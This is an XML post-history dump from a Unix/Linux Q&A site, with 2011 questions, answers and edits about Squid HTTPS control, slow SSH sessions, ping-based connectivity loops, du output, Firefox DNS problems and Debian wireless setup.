  <row Id="25366" PostHistoryTypeId="2" PostId="10541" RevisionGUID="d40ebb79-014c-4709-803d-1d8d97d97145" CreationDate="2011-04-03T10:18:05.837" UserId="6167" Text="You want to block any and all HTTPS sites?  You need to do this with a firewall on your router.  Blocking it in Squid won't prevent people from circumventing it unless the firewall on your router also blocks it.  If your router blocks it than what squid does is irrelevant.  Better yet, set the firewall to block all outgoing TCP connections except for port 80 for pretty decent control of your network.  If your simply looking for a way to control who can use HTTPS, then it makes sense to use squid.  You can set up a firewall rule so only Squid has HTTPS and require anyone else to go through Squid with the hope that they might get HTTPS.  Regardless, any kind of true filtering will require cooperation with the router on your network.&#xD;&#xA;&#xD;&#xA;Now, if you do want to use Squid to help regulate HTTPS, you want to control who has access to the HTTP CONNECT method.  HTTP CONNECT is nothing more than a simple way to tunnel through a proxy server like Squid.  Squid has no real control and cannot participate in any kind of caching or modification of a SSL/TLS connection such as HTTPS outside of controlling which hosts and ports it can connect to.  This is done through the acl and http_access directives inside squid.conf.  Look at your local squid.conf file for some examples and basic documentation.  Beyond that, get familiar with the standard Squid documentation that is already provided for you." />
  <row Id="25367" PostHistoryTypeId="2" PostId="10542" RevisionGUID="6faa771d-f52f-4c05-aed9-6f81e2dd92b0" CreationDate="2011-04-03T10:22:33.660" UserId="5685" Text="Data width = 64 (8 banks * 8 bits)&#xD;&#xA;&#xD;&#xA;Total width = 72 (9 banks * 8 bits)&#xD;&#xA;&#xD;&#xA;The extra bank indicates that ECC is active." />
  <row Id="25368" PostHistoryTypeId="2" PostId="10543" RevisionGUID="a12ca64b-1aec-4429-ba86-6c5b39260bd8" CreationDate="2011-04-03T10:34:40.393" UserId="6167" Text="Starting an Interactive shell over SSH is slow to one of my servers.  Everything leading up to it including negotiating encryption is fast, but then it hangs for 45 seconds.  After that, it finishes and I have a shell.  How do I identify what it's hanging on?  I tried clearing the environment and disabling all forwarding in case that was slowing it down but it didn't help.  Here's my test command:&#xD;&#xA;&#xD;&#xA;    env -i ssh -x -a -vvv server&#xD;&#xA;&#xD;&#xA;and here's the output from SSH:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    debug1: channel 0: new [client-session]&#xD;&#xA;    debug3: ssh_session2_open: channel_new: 0&#xD;&#xA;    debug2: channel 0: send open&#xD;&#xA;    debug1: Requesting no-more-sessions@openssh.com&#xD;&#xA;    debug1: Entering interactive session.&#xD;&#xA;    *(hangs for 45 seconds here)*&#xD;&#xA;    debug3: Wrote 128 bytes for a total of 3191&#xD;&#xA;    debug2: callback start&#xD;&#xA;    debug2: client_session2_setup: id 0&#xD;&#xA;    debug2: channel 0: request pty-req confirm 1&#xD;&#xA;    debug1: Sending environment.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25369" PostHistoryTypeId="1" PostId="10543" RevisionGUID="a12ca64b-1aec-4429-ba86-6c5b39260bd8" CreationDate="2011-04-03T10:34:40.393" UserId="6167" Text="SSH slow at starting session" />
  <row Id="25370" PostHistoryTypeId="3" PostId="10543" RevisionGUID="a12ca64b-1aec-4429-ba86-6c5b39260bd8" CreationDate="2011-04-03T10:34:40.393" UserId="6167" Text="élinuxàéshellàésshàéopensshà" />
  <row Id="25371" PostHistoryTypeId="2" PostId="10544" RevisionGUID="53668691-35d5-4244-8618-7d98388e8a74" CreationDate="2011-04-03T11:19:20.933" UserId="5685" Text="If your ssh server has reverse DNS mapping activated, it could be the cause of the delay, look for `VerifyReverseMapping` in the `/etc/ssh/sshd_config` file of the server." />
  <row Id="25372" PostHistoryTypeId="2" PostId="10545" RevisionGUID="ccdb6b0e-6ecd-4b1f-8401-fd3a934a0b7a" CreationDate="2011-04-03T11:43:20.890" UserId="5664" Text="With this i can check, that there is &quot;internet connection&quot;. if there is no &quot;internet connection&quot; (succesfull pings to this 2 places), then it waits 600 sec, then it runs along:&#xD;&#xA;&#xD;&#xA;	ping -W 1 -c 4 www.google.com &gt;&amp; /dev/null &amp;&amp; ping -W 1 -c 4 www.yahoo.com &gt;&amp; /dev/null || sleep 600&#xD;&#xA;&#xD;&#xA;But: how could i rewrite this one line, so that it loops until there is internet connection?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thank you!" />
  <row Id="25373" PostHistoryTypeId="1" PostId="10545" RevisionGUID="ccdb6b0e-6ecd-4b1f-8401-fd3a934a0b7a" CreationDate="2011-04-03T11:43:20.890" UserId="5664" Text="&quot;internet connection checker one-liner&quot;" />
  <row Id="25374" PostHistoryTypeId="3" PostId="10545" RevisionGUID="ccdb6b0e-6ecd-4b1f-8401-fd3a934a0b7a" CreationDate="2011-04-03T11:43:20.890" UserId="5664" Text="élinuxà" />
  <row Id="25375" PostHistoryTypeId="5" PostId="10528" RevisionGUID="f8281113-4248-4d57-9a3a-61befd731e92" CreationDate="2011-04-03T11:51:47.533" UserId="885" Comment="fixed `$RS`, should be `$0`" Text="    awk '{print $NF,$0}' file.txt | sort -nr | cut -f2- -d' '" />
  <row Id="25376" PostHistoryTypeId="2" PostId="10546" RevisionGUID="d423c8cd-f834-4a7f-9f86-2b3916c7b43d" CreationDate="2011-04-03T11:57:09.887" UserId="4194" Text="You can just use a while loop from the shell.&#xD;&#xA;&#xD;&#xA;    while true; do&#xD;&#xA;        if ping -W 1 -c 4 www.google.com &gt;&amp; /dev/null &amp;&amp;&#xD;&#xA;           ping -W 1 -c 4 www.yahoo.com &gt;&amp; /dev/null; then&#xD;&#xA;            break&#xD;&#xA;        fi&#xD;&#xA;        sleep 600&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;The `/bin/true` and `test 0` commands will always return 0 (true), but `true` may not always be a builtin." />
  <row Id="25377" PostHistoryTypeId="2" PostId="10547" RevisionGUID="5a881be3-13da-437f-b6dc-116b8ef60fa8" CreationDate="2011-04-03T12:08:22.013" UserId="885" Text="    while ping -W 1 -c 4 www.google.com &gt;&amp; /dev/null &amp;&amp;&#xD;&#xA;          ping -W 1 -c 4 www.yahoo.com &gt;&amp; /dev/null; do&#xD;&#xA;      sleep 600&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Though I'd just test connectivity to an IP address; 8.8.8.8 is Google's DNS public server. Testing whether DNS works is unreliable anyway because the entry may be in the cache.&#xD;&#xA;&#xD;&#xA;    while ping -W 1 -c 1 8.8.8.8; do sleep 600; done&#xD;&#xA;" />
  <row Id="25378" PostHistoryTypeId="25" PostId="10545" RevisionGUID="0a9e60bc-4cae-46a0-813a-9c211604b73d" CreationDate="2011-04-03T12:08:54.540" Comment="http://twitter.com/#!/StackUnix/status/54515717667696640" />
  <row Id="25379" PostHistoryTypeId="6" PostId="10545" RevisionGUID="847cc2eb-c80e-4bcf-8998-90977a9d5fc8" CreationDate="2011-04-03T12:09:13.073" UserId="885" Comment="edited tags" Text="élinuxàéshellàénetworkingàépingà" />
  <row Id="25380" PostHistoryTypeId="6" PostId="10524" RevisionGUID="784b88b0-5f56-4a62-9cef-140eb2818d6c" CreationDate="2011-04-03T12:11:49.887" UserId="885" Comment="edited tags" Text="étextöprocessingàésortà" />
  <row Id="25381" PostHistoryTypeId="6" PostId="10326" RevisionGUID="8eb851a7-aabe-43db-8898-d8cd51ba4c4e" CreationDate="2011-04-03T12:12:01.883" UserId="885" Comment="edited tags" Text="épasswordàéencryptionàéopenbsdà" />
  <row Id="25382" PostHistoryTypeId="6" PostId="10086" RevisionGUID="fcfaf88b-76b8-47e4-9464-749ae9173b3c" CreationDate="2011-04-03T12:12:14.460" UserId="885" Comment="edited tags" Text="éinstallàésourceàéopenbsdà" />
  <row Id="25383" PostHistoryTypeId="6" PostId="9985" RevisionGUID="bd3aa1fe-e6ba-4ed0-805d-12eceb1071e2" CreationDate="2011-04-03T12:12:33.070" UserId="885" Comment="edited tags" Text="éwgetà" />
  <row Id="25384" PostHistoryTypeId="5" PostId="10547" RevisionGUID="06fbcb9e-815d-4fd0-9739-4c4175d4fad6" CreationDate="2011-04-03T12:29:58.810" UserId="885" Comment="added missing negations (oops)" Text="    while ! ping -W 1 -c 4 www.google.com &gt;&amp; /dev/null &amp;&amp;&#xD;&#xA;          ! ping -W 1 -c 4 www.yahoo.com &gt;&amp; /dev/null; do&#xD;&#xA;      sleep 600&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Though I'd just test connectivity to an IP address; 8.8.8.8 is Google's DNS public server. Testing whether DNS works is unreliable anyway because the entry may be in the cache.&#xD;&#xA;&#xD;&#xA;    while ! ping -W 1 -c 1 8.8.8.8; do sleep 600; done&#xD;&#xA;" />
  <row Id="25385" PostHistoryTypeId="2" PostId="10548" RevisionGUID="90093852-cb4b-4792-9937-d82804b3fbdd" CreationDate="2011-04-03T13:28:19.657" UserId="5075" Text="I install GRML on my USB disk with the grml2usb tool. But when I boot from the USB, it first boots to a blank screen with &quot;boot:&quot; text on it. I must type the boot options myself to boot the system. I want it to boot to the system automatically. How can I do it? I am new to GRML, and I checked their wiki, but did not find the solution." />
  <row Id="25386" PostHistoryTypeId="1" PostId="10548" RevisionGUID="90093852-cb4b-4792-9937-d82804b3fbdd" CreationDate="2011-04-03T13:28:19.657" UserId="5075" Text="GRML will not boot automatically" />
  <row Id="25387" PostHistoryTypeId="3" PostId="10548" RevisionGUID="90093852-cb4b-4792-9937-d82804b3fbdd" CreationDate="2011-04-03T13:28:19.657" UserId="5075" Text="élinuxàébootà" />
  <row Id="25388" PostHistoryTypeId="5" PostId="10548" RevisionGUID="fa629a72-64a3-436f-8d2a-58ddb8c89911" CreationDate="2011-04-03T13:35:59.787" UserId="885" Comment="tags; hyperlink" Text="I install [GRML](http://grml.org/) on my USB disk with the grml2usb tool. But when I boot from the USB, it first boots to a blank screen with &quot;boot:&quot; text on it. I must type the boot options myself to boot the system. I want it to boot to the system automatically. How can I do it? I am new to GRML, and I checked their wiki, but did not find the solution." />
  <row Id="25389" PostHistoryTypeId="6" PostId="10548" RevisionGUID="fa629a72-64a3-436f-8d2a-58ddb8c89911" CreationDate="2011-04-03T13:35:59.787" UserId="885" Comment="tags; hyperlink" Text="élinuxàébootàéliveöusbàégrmlà" />
  <row Id="25390" PostHistoryTypeId="2" PostId="10549" RevisionGUID="244031e7-77b3-4d71-b6f4-4026ab9cfbc3" CreationDate="2011-04-03T14:05:21.743" UserId="5502" Text="One night my firefox just started showing &quot;Server not found&quot; for all websites (i.e. &quot;Firefox can't find the server at www.mozilla.com.&quot;). I noticed that it can find websites if make an entry in the /etc/hosts-file.&#xD;&#xA;&#xD;&#xA;I have already started firefox in safe mode, the problem persisted.&#xD;&#xA;&#xD;&#xA;I removed my ~/.mozilla folder entirely, didn't help either.&#xD;&#xA;&#xD;&#xA;At this point I noticed that thunderbird was having the same problem and assumed it must be a shared library. I'm running gentoo linux, where the packages are distributes as source code, if available, so I started rebuilding each and every package on my system (&quot;emerge -av --emptytree world&quot;), still the same error.&#xD;&#xA;&#xD;&#xA;I then tried installing the source-package of firefox (I was using the binary package &quot;firefox-bin&quot;), but that still didn't help.&#xD;&#xA;&#xD;&#xA;Does anyone have an idea what I might do next?" />
  <row Id="25391" PostHistoryTypeId="1" PostId="10549" RevisionGUID="244031e7-77b3-4d71-b6f4-4026ab9cfbc3" CreationDate="2011-04-03T14:05:21.743" UserId="5502" Text="Firefox and Thunderbird cannot resolve host names - anything else can" />
  <row Id="25392" PostHistoryTypeId="3" PostId="10549" RevisionGUID="244031e7-77b3-4d71-b6f4-4026ab9cfbc3" CreationDate="2011-04-03T14:05:21.743" UserId="5502" Text="égentooàéfirefoxàésharedöobjectsàéthunderbirdà" />
  <row Id="25393" PostHistoryTypeId="2" PostId="10550" RevisionGUID="3f4461d3-0f38-4796-ae42-5a24d63dd92d" CreationDate="2011-04-03T14:09:44.720" UserId="6256" Text="hi&#xD;&#xA;i'm new to linux, so sorry for my simple answer. i'm on ubuntu.&#xD;&#xA;&#xD;&#xA;i have this directory:&#xD;&#xA;&#xD;&#xA;    $ ls -al&#xD;&#xA;    total 16&#xD;&#xA;    drwxr-xr-x 2 alberto alberto 4096 2011-04-03 16:02 .&#xD;&#xA;    drwxr-xr-x 4 alberto alberto 4096 2011-04-03 16:01 ..&#xD;&#xA;    -rw-r--r-- 1 alberto alberto    7 2011-04-03 16:02 .hidden&#xD;&#xA;    -rw-r--r-- 1 alberto alberto    4 2011-04-03 15:51 testfile&#xD;&#xA;&#xD;&#xA;i'm trying:&#xD;&#xA;&#xD;&#xA;    $ du&#xD;&#xA;    12	.&#xD;&#xA;    $ du *&#xD;&#xA;    4	testfile&#xD;&#xA;    $ du .*&#xD;&#xA;    12	.&#xD;&#xA;    20	../snippet&#xD;&#xA;    12	../test&#xD;&#xA;    52	..&#xD;&#xA;    4	.hidden&#xD;&#xA;&#xD;&#xA;why???&#xD;&#xA;i'm expected:&#xD;&#xA;&#xD;&#xA;    $ du&#xD;&#xA;    4	testfile&#xD;&#xA;    4	.hidden&#xD;&#xA;" />
  <row Id="25394" PostHistoryTypeId="1" PostId="10550" RevisionGUID="3f4461d3-0f38-4796-ae42-5a24d63dd92d" CreationDate="2011-04-03T14:09:44.720" UserId="6256" Text="i have problem with du" />
  <row Id="25395" PostHistoryTypeId="3" PostId="10550" RevisionGUID="3f4461d3-0f38-4796-ae42-5a24d63dd92d" CreationDate="2011-04-03T14:09:44.720" UserId="6256" Text="ébashàésizeà" />
  <row Id="25396" PostHistoryTypeId="6" PostId="10550" RevisionGUID="09f1735f-4f8c-4408-b6a0-73852f10d52f" CreationDate="2011-04-03T14:14:46.337" UserId="885" Comment="edited tags" Text="édisköusageà" />
  <row Id="25397" PostHistoryTypeId="2" PostId="10551" RevisionGUID="2266d944-82bb-4d3e-8b35-9f06dafc9f65" CreationDate="2011-04-03T14:18:05.757" UserId="885" Text="`du` summarizes the disk usage directory by directory. In your example, since the current directory has no subdirectory, the output is a single line.&#xD;&#xA;&#xD;&#xA;If you pass the name of a file on the command line, its size is reported. If you pass the names of multiple files, this is equivalent to running `du` multiple times; hence `du .*` is equivalent to `du .; du ..; du .hidden`.&#xD;&#xA;&#xD;&#xA;Run `du -a` to see the space occupied by each file.&#xD;&#xA;&#xD;&#xA;     $ du -a&#xD;&#xA;     4   .hidden&#xD;&#xA;     4   testfile&#xD;&#xA;     12  .&#xD;&#xA;" />
  <row Id="25398" PostHistoryTypeId="2" PostId="10552" RevisionGUID="bf8ac899-29f3-4fbe-952a-8f18c8ec04fc" CreationDate="2011-04-03T14:25:51.383" UserId="885" Text="Check your proxy settings in “Edit / Preferences / Network”. Maybe Firefox and Thunderbird are using a Freedesktop proxy setting which other programs you've tried aren't, and there's a problem with that proxy. Can other Freedesktop programs (e.g. Konqueror, Nautilus, …) resolve host names?&#xD;&#xA;&#xD;&#xA;Another possibility is that Firefox is now checking IPv6 names first, but you don't get DNS for IPv6. Check the state of preferences containing `ipv6` in `about:config`. (I don't know why it wouldn't fall back to IPv4 though.)&#xD;&#xA;" />
  <row Id="25399" PostHistoryTypeId="6" PostId="10549" RevisionGUID="28af0d56-0da8-4b00-84ce-249cd42fa19e" CreationDate="2011-04-03T14:26:17.573" UserId="885" Comment="edited tags" Text="égentooàédnsàéfirefoxàéthunderbirdà" />
  <row Id="25400" PostHistoryTypeId="2" PostId="10553" RevisionGUID="9adcc773-9355-41b5-ba3f-bc9214a7529f" CreationDate="2011-04-03T14:31:04.030" UserId="4159" Text="first, i'm not an expert in linux but i can fairly move and play around with the OS.&#xD;&#xA;&#xD;&#xA;the problem in short is, i was able to find wireless networks, but when i try to authenticate it, network-manager keeps on asking me password that seems like it's not able to authenticate at all.&#xD;&#xA;&#xD;&#xA;in Windows 7 everything's working OK.&#xD;&#xA;&#xD;&#xA;so what i've done so far is. . .&#xD;&#xA;&#xD;&#xA;* i have installed firmware-iwlwifi_0.28_all.deb and was able to detect wireless networks&#xD;&#xA;* i reconfigured my wifi to wpa2 personal, it does not work. i reconfigured it to use wep 128, it doesn't work either&#xD;&#xA;* i tried to install ubuntu, and it poses the same problem :(&#xD;&#xA;&#xD;&#xA;here's my PC information&#xD;&#xA;&#xD;&#xA;Asus K42JA&#xD;&#xA;I used the 64 bit installer of Debian Live 6.0.1 and Ubuntu 10.10&#xD;&#xA;&#xD;&#xA;Can you help me with this? I can provide you log information, but i don't know where to find them. :(" />
  <row Id="25401" PostHistoryTypeId="1" PostId="10553" RevisionGUID="9adcc773-9355-41b5-ba3f-bc9214a7529f" CreationDate="2011-04-03T14:31:04.030" UserId="4159" Text="intel wireless 1000 bgn not working in debian/ubuntu" />
  <row Id="25402" PostHistoryTypeId="3" PostId="10553" RevisionGUID="9adcc773-9355-41b5-ba3f-bc9214a7529f" CreationDate="2011-04-03T14:31:04.030" UserId="4159" Text="édebianàéwirelessà" />
  <row Id="25403" PostHistoryTypeId="5" PostId="10553" RevisionGUID="d33e49e7-7bc1-4758-a280-0b7b2f9f3f68" CreationDate="2011-04-03T14:50:29.880" UserId="4159" Comment="added 183 characters in body" Text="first, i'm not an expert in linux but i can fairly move and play around with the OS.&#xD;&#xA;&#xD;&#xA;the problem in short is, i was able to find wireless networks, but when i try to authenticate it, network-manager keeps on asking me password that seems like it's not able to authenticate at all.&#xD;&#xA;&#xD;&#xA;in Windows 7 everything's working OK.&#xD;&#xA;&#xD;&#xA;so what i've done so far is. . .&#xD;&#xA;&#xD;&#xA;* i have installed firmware-iwlwifi_0.28_all.deb and was able to detect wireless networks&#xD;&#xA;* i reconfigured my wifi to wpa2 personal, it does not work. i reconfigured it to use wep 128, it doesn't work either&#xD;&#xA;* i tried to install ubuntu, and it poses the same problem :(&#xD;&#xA;&#xD;&#xA;here's my PC information&#xD;&#xA;&#xD;&#xA;Asus K42JA&#xD;&#xA;I used the 64 bit installer of Debian Live 6.0.1 and Ubuntu 10.10&#xD;&#xA;&#xD;&#xA;Can you help me with this? I can provide you log information, but i don't know where to find them. :(&#xD;&#xA;&#xD;&#xA;UPDATE:&#xD;&#xA;here's the content of my /etc/network/interfaces&#xD;&#xA;&#xD;&#xA;auto lo&#xD;&#xA;iface lo inet loopback&#xD;&#xA;&#xD;&#xA;ls mod (iw* related information)&#xD;&#xA;iwlagn   73139   0&#xD;&#xA;iwlcore  77810   1   iwlagn&#xD;&#xA;" />
  <row Id="25404" PostHistoryTypeId="25" PostId="10550" RevisionGUID="57c83ffa-d0a3-4185-98d1-8360b4846b57" CreationDate="2011-04-03T15:08:54.770" Comment="http://twitter.com/#!/StackUnix/status/54561016603869184" />
  <row Id="25405" PostHistoryTypeId="5" PostId="10116" RevisionGUID="6031aafc-a224-4de3-bf22-160cd2862ae7" CreationDate="2011-04-03T15:12:42.927" UserId="1323" Comment="added 6 characters in body" Text="Since this has been sitting out there for a couple days, and in that time I've (mostly) figured out the problem, I'll post the answer that works for me.&#xD;&#xA;&#xD;&#xA;In brief:&#xD;&#xA;&#xD;&#xA;    chvirprnt -qQUEUENAME -dDEVICENAME -a&quot;si=USERNAME&quot;&#xD;&#xA;&#xD;&#xA;Where QUEUNAME, DEVICENAME and USERNAME are set to the queue, device and user to whom you'd like to have errors sent.&#xD;&#xA;&#xD;&#xA;In full:&#xD;&#xA;&#xD;&#xA;AIX print queues have virtual printers and print devices associated with each queue. The command `chque`, as given in the question, is used to manage attributes of the queue. Setting &quot;recovery_type&quot; to &quot;sendmail address@example.com&quot; will cause notification to be sent the the address specified when the queue is down, but it won't stop all printer errors from being dispatched to the user that submitted the print job.&#xD;&#xA;&#xD;&#xA;By default, virtual printer error messages will be sent to the job submitter via the writesrv daemon. Writesrv will issue the messages to the user's console if they are logged in. If they are not logged in at the time of the error, or if the writesrv daemon on the remote host (if applicable) is not listening, an email will be sent to the user at the host from which the job was sent. &#xD;&#xA;&#xD;&#xA;In order to completely answer the question, you have to set the `si` parameter in the virtual printer colon file via the `chvirprnt` command with the name of a user to receive errors, and also arrange for the local MTA to forward mail for that user to queue_errors@example.com. It is advisable to create a user for this purpose, or send errors to root and further refine mail delivery for the root user to route the error messages as desired." />
  <row Id="25406" PostHistoryTypeId="2" PostId="10554" RevisionGUID="7f37cddb-0e05-406f-9f99-4e6f2d6897bc" CreationDate="2011-04-03T15:52:50.800" UserId="6259" Text="It would be good if you included the machine's specifics.&#xD;&#xA;0xc000_0000 is the default load address of most Linux distributions but it seems you are using a custom Linux build because you are assigning 0xc000_0000 as PCI address space. Do you have a valid device tree installed? Or do you have Open Firmware?" />
  <row Id="25407" PostHistoryTypeId="5" PostId="10551" RevisionGUID="52e1cf09-55c4-4f60-842a-34ca4cb2193b" CreationDate="2011-04-03T15:56:57.043" UserId="885" Comment="mention the exception for hard links" Text="`du` summarizes the disk usage directory by directory. In your example, since the current directory has no subdirectory, the output is a single line.&#xD;&#xA;&#xD;&#xA;If you pass the name of a file on the command line, its size is reported. If you pass the names of multiple files, this is equivalent¹ to running `du` multiple times; hence `du .*` is equivalent to `du .; du ..; du .hidden`.&#xD;&#xA;&#xD;&#xA;Run `du -a` to see the space occupied by each file.&#xD;&#xA;&#xD;&#xA;     $ du -a&#xD;&#xA;     4   .hidden&#xD;&#xA;     4   testfile&#xD;&#xA;     12  .&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt;&#xD;&#xA;Almost: on some systems, if a regular file has multiple hard links, then it's only counted the first time it's reached in a particular `du` invocation.&#xD;&#xA;&lt;/sub&gt;&#xD;&#xA;" />
  <row Id="25408" PostHistoryTypeId="5" PostId="10553" RevisionGUID="41d4758d-309c-4b0e-8344-152eea399ea1" CreationDate="2011-04-03T16:12:32.337" UserId="4671" Comment="improve formatting" Text="first, i'm not an expert in linux but i can fairly move and play around with the OS.&#xD;&#xA;&#xD;&#xA;the problem in short is, i was able to find wireless networks, but when i try to authenticate it, network-manager keeps on asking me password that seems like it's not able to authenticate at all.&#xD;&#xA;&#xD;&#xA;in Windows 7 everything's working OK.&#xD;&#xA;&#xD;&#xA;so what i've done so far is. . .&#xD;&#xA;&#xD;&#xA;* i have installed firmware-iwlwifi_0.28_all.deb and was able to detect wireless networks&#xD;&#xA;* i reconfigured my wifi to wpa2 personal, it does not work. i reconfigured it to use wep 128, it doesn't work either&#xD;&#xA;* i tried to install ubuntu, and it poses the same problem :(&#xD;&#xA;&#xD;&#xA;here's my PC information&#xD;&#xA;&#xD;&#xA;Asus K42JA&#xD;&#xA;I used the 64 bit installer of Debian Live 6.0.1 and Ubuntu 10.10&#xD;&#xA;&#xD;&#xA;Can you help me with this? I can provide you log information, but i don't know where to find them. :(&#xD;&#xA;&#xD;&#xA;UPDATE:&#xD;&#xA;here's the content of my /etc/network/interfaces.&#xD;&#xA;&#xD;&#xA;    auto lo&#xD;&#xA;    iface lo inet loopback&#xD;&#xA;    &#xD;&#xA;`ls mod` (iw* related information)&#xD;&#xA;&#xD;&#xA;    iwlagn   73139   0&#xD;&#xA;    iwlcore  77810   1   iwlagn&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25409" PostHistoryTypeId="24" PostId="10553" RevisionGUID="41d4758d-309c-4b0e-8344-152eea399ea1" CreationDate="2011-04-03T16:12:32.337" Comment="Proposed by 4671 approved by 885 edit id of 248" />
  <row Id="25410" PostHistoryTypeId="2" PostId="10555" RevisionGUID="a5fe9d0d-4141-44cf-8d6f-340f04ebe981" CreationDate="2011-04-03T16:14:12.863" UserId="4671" Text="If that is really the entire content of `/etc/network/interfaces`, you need to add your wireless interfaces there. You didn't state what methods you are using to manage the wireless, but whatever it is is clearly not writing to `/etc/network/interfaces`, which is necessary, as far as I know. This file is where all the network interfaces and configuration information, including passwords, is defined. See any Debian networking tutorial. First take a look at `man interfaces`." />
  <row Id="25411" PostHistoryTypeId="5" PostId="10555" RevisionGUID="47e761ea-49ca-4232-a1b5-a2ee3a54a4e5" CreationDate="2011-04-03T16:25:46.927" UserId="4671" Comment="Add link to network tutorial" Text="If that is really the entire content of `/etc/network/interfaces`, you need to add your wireless interfaces there. You didn't state what methods you are using to manage the wireless, but whatever it is is clearly not writing to `/etc/network/interfaces`, which is necessary, as far as I know. This file is where all the network interfaces and configuration information, including passwords, is defined. See any Debian networking tutorial. First take a look at `man interfaces`.&#xD;&#xA;&#xD;&#xA;This [network tutorial](http://wiki.debian.org/iwlagn) looks relevant. You'll need to add wlan0 to your /etc/network/interfaces with appropriate configuration. They left that part out." />
  <row Id="25412" PostHistoryTypeId="4" PostId="10408" RevisionGUID="acc6e7c8-29d1-45fd-a9cb-158318828e35" CreationDate="2011-04-03T17:05:54.487" UserId="5664" Comment="edited title; edited title" Text="How to run a fresh version of AIX in a Virtual Machine with a Linux host?" />
  <row Id="25413" PostHistoryTypeId="25" PostId="10549" RevisionGUID="50da205d-2a3a-47a2-ade7-f197acadf8f1" CreationDate="2011-04-03T18:08:59.810" Comment="http://twitter.com/#!/StackUnix/status/54606336201199616" />
  <row Id="25414" PostHistoryTypeId="5" PostId="10553" RevisionGUID="45bbf4ba-d234-49ac-a0cc-e68ccb9583af" CreationDate="2011-04-03T18:11:05.223" UserId="4671" Comment="change ls mod to lsmod" Text="First, i'm not an expert in Linux but i can fairly move and play around with the OS.&#xD;&#xA;&#xD;&#xA;The problem in short is, i was able to find wireless networks, but when i try to authenticate it, network-manager keeps on asking me for my password. So it seems like it's not able to authenticate at all.&#xD;&#xA;&#xD;&#xA;In Windows 7 everything's working OK.&#xD;&#xA;&#xD;&#xA;So what i've done so far is. . .&#xD;&#xA;&#xD;&#xA;* i have installed firmware-iwlwifi_0.28_all.deb and was able to detect wireless networks&#xD;&#xA;* i reconfigured my wifi to wpa2 personal, it does not work. i reconfigured it to use wep 128, it doesn't work either&#xD;&#xA;* i tried to install ubuntu, and it poses the same problem :(&#xD;&#xA;&#xD;&#xA;Here's my PC information:&#xD;&#xA;&#xD;&#xA;Asus K42JA. I used the 64 bit installer of Debian Live 6.0.1 and Ubuntu 10.10&#xD;&#xA;&#xD;&#xA;Can you help me with this? I can provide you log information, but i don't know where to find them. :(&#xD;&#xA;&#xD;&#xA;UPDATE:&#xD;&#xA;here's the content of my /etc/network/interfaces.&#xD;&#xA;&#xD;&#xA;    auto lo&#xD;&#xA;    iface lo inet loopback&#xD;&#xA;    &#xD;&#xA;`lsmod` (iw* related information)&#xD;&#xA;&#xD;&#xA;    iwlagn   73139   0&#xD;&#xA;    iwlcore  77810   1   iwlagn" />
  <row Id="25415" PostHistoryTypeId="24" PostId="10553" RevisionGUID="45bbf4ba-d234-49ac-a0cc-e68ccb9583af" CreationDate="2011-04-03T18:11:05.223" Comment="Proposed by 4671 approved by 73 edit id of 249" />
  <row Id="25416" PostHistoryTypeId="2" PostId="10556" RevisionGUID="f84b45db-9a04-4275-b688-162a72ea108f" CreationDate="2011-04-03T18:34:33.230" UserId="224" Text="I just installed Debian Squeeze on my E1505.  In order to get my wireless card working, I'm trying to install [network-manager-gnome][1] (I already installed firmware-iwlwifi)&#xD;&#xA;&#xD;&#xA;My current question is, how can I figure out which CD this &#xD;&#xA;(and its dependencies) is on, and in general where is this listed?  There are [52 CDs][2].  I realize they're roughly in order of usefulness, but I'd rather not download any blindly.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://packages.debian.org/squeeze/network-manager-gnome&#xD;&#xA;  [2]: http://cdimage.debian.org/debian-cd/6.0.1a/i386/iso-cd/" />
  <row Id="25417" PostHistoryTypeId="1" PostId="10556" RevisionGUID="f84b45db-9a04-4275-b688-162a72ea108f" CreationDate="2011-04-03T18:34:33.230" UserId="224" Text="Where can I find which packages are on each Debian Squeeze CD?" />
  <row Id="25418" PostHistoryTypeId="3" PostId="10556" RevisionGUID="f84b45db-9a04-4275-b688-162a72ea108f" CreationDate="2011-04-03T18:34:33.230" UserId="224" Text="édebianàépackageömanagementàéaptàécdà" />
  <row Id="25419" PostHistoryTypeId="5" PostId="10547" RevisionGUID="87d112f3-0afb-47ce-b0e7-57bf3c89202f" CreationDate="2011-04-03T18:35:57.570" UserId="885" Comment="finish negating" Text="    while ! ping -W 1 -c 4 www.google.com &gt;&amp; /dev/null ||&#xD;&#xA;          ! ping -W 1 -c 4 www.yahoo.com &gt;&amp; /dev/null; do&#xD;&#xA;      sleep 600&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Though I'd just test connectivity to an IP address; 8.8.8.8 is Google's DNS public server. Testing whether DNS works is unreliable anyway because the entry may be in the cache.&#xD;&#xA;&#xD;&#xA;    while ! ping -W 1 -c 1 8.8.8.8; do sleep 600; done&#xD;&#xA;" />
  <row Id="25420" PostHistoryTypeId="2" PostId="10557" RevisionGUID="addb3fcb-68df-430d-94f5-9fb0a54fdd5c" CreationDate="2011-04-03T18:52:15.503" UserId="4671" Text="The best answer I could find is http://www.debian.org/CD/faq/#search-for-package&#xD;&#xA;&#xD;&#xA;The following question is also relevant http://www.debian.org/CD/faq/#list-image-contents&#xD;&#xA;&#xD;&#xA;Maybe you could just download the jigdo files and look at them.&#xD;&#xA;&#xD;&#xA;" />
